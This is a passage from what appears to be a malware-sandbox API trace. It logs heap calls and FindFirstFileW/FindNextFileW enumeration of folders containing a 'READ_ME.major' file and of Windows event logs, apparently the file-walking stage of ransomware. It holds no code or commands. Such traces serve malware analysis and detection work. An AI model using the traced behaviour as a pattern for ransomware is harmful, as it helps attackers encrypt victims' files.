ftLastWriteTime.dwLowDateTime=0xfed33c2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a34d0 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.984] GetLastError () returned 0x5 [0121.984] SetLastError (dwErrCode=0x5) [0121.984] GetLastError () returned 0x5 [0121.984] SetLastError (dwErrCode=0x5) [0121.984] GetLastError () returned 0x5 [0121.984] SetLastError (dwErrCode=0x5) [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3250 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3250 | out: hHeap=0x570000) returned 1 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0121.984] FindNextFileW (in: hFindFile=0x5a34d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xfed33c2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.984] GetLastError () returned 0x5 [0121.984] SetLastError (dwErrCode=0x5) [0121.984] GetLastError () returned 0x5 [0121.984] SetLastError (dwErrCode=0x5) [0121.984] GetLastError () returned 0x5 [0121.984] SetLastError (dwErrCode=0x5) [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0121.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3450 [0121.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3450 | out: hHeap=0x570000) returned 1 [0121.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0121.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0121.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0121.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0121.985] FindNextFileW (in: hFindFile=0x5a34d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed33c2c, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfed33c2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfed33c2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0121.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.985] GetLastError () returned 0x5 [0121.985] SetLastError (dwErrCode=0x5) [0121.985] GetLastError () returned 0x5 [0121.985] SetLastError (dwErrCode=0x5) [0121.985] GetLastError () returned 0x5 [0121.985] SetLastError (dwErrCode=0x5) [0121.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0121.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0121.985] FindNextFileW (in: hFindFile=0x5a34d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed33c2c, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfed33c2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfed33c2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0121.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10e0 | out: hHeap=0x570000) returned 1 [0121.985] FindFirstFileW (in: lpFileName="\\Logs\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3250 [0121.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.987] GetLastError () returned 0x12 [0121.987] SetLastError (dwErrCode=0x12) [0121.987] GetLastError () returned 0x12 [0121.987] SetLastError (dwErrCode=0x12) [0121.987] GetLastError () returned 0x12 [0121.987] SetLastError (dwErrCode=0x12) [0121.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0121.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0121.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0121.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3090 [0121.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3090 | out: hHeap=0x570000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0121.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0121.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0121.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0121.987] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0121.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.992] GetLastError () returned 0x12 [0121.992] SetLastError (dwErrCode=0x12) [0121.992] GetLastError () returned 0x12 [0121.992] SetLastError (dwErrCode=0x12) [0121.992] GetLastError () returned 0x12 [0121.992] SetLastError (dwErrCode=0x12) [0121.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0121.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0121.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0121.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0121.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3450 [0121.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3450 | out: hHeap=0x570000) returned 1 [0121.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0121.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0121.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0121.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0121.992] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0121.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.992] GetLastError () returned 0x12 [0121.992] SetLastError (dwErrCode=0x12) [0121.992] GetLastError () returned 0x12 [0121.992] SetLastError (dwErrCode=0x12) [0121.992] GetLastError () returned 0x12 [0121.992] SetLastError (dwErrCode=0x12) [0121.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0121.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0121.993] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0121.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0121.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.993] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0121.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0121.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.993] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0121.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0121.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.993] GetLastError () returned 0x12 [0121.993] SetLastError (dwErrCode=0x12) [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0121.993] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.994] GetLastError () returned 0x12 [0121.994] SetLastError (dwErrCode=0x12) [0121.994] GetLastError () returned 0x12 [0121.994] SetLastError (dwErrCode=0x12) [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.994] GetLastError () returned 0x12 [0121.994] SetLastError (dwErrCode=0x12) [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0121.994] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.994] GetLastError () returned 0x12 [0121.994] SetLastError (dwErrCode=0x12) [0121.994] GetLastError () returned 0x12 [0121.994] SetLastError (dwErrCode=0x12) [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0121.994] GetLastError () returned 0x12 [0121.994] SetLastError (dwErrCode=0x12) [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0121.994] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.994] GetLastError () returned 0x12 [0121.994] SetLastError (dwErrCode=0x12) [0121.994] GetLastError () returned 0x12 [0121.994] SetLastError (dwErrCode=0x12) [0121.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0121.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0121.995] GetLastError () returned 0x12 [0121.995] SetLastError (dwErrCode=0x12) [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5a9008 [0121.995] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.995] GetLastError () returned 0x12 [0121.995] SetLastError (dwErrCode=0x12) [0121.995] GetLastError () returned 0x12 [0121.995] SetLastError (dwErrCode=0x12) [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.995] GetLastError () returned 0x12 [0121.995] SetLastError (dwErrCode=0x12) [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd880 [0121.995] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.995] GetLastError () returned 0x12 [0121.995] SetLastError (dwErrCode=0x12) [0121.995] GetLastError () returned 0x12 [0121.995] SetLastError (dwErrCode=0x12) [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.995] GetLastError () returned 0x12 [0121.995] SetLastError (dwErrCode=0x12) [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0121.995] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0121.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0121.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0121.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0121.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0121.996] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0121.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0121.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 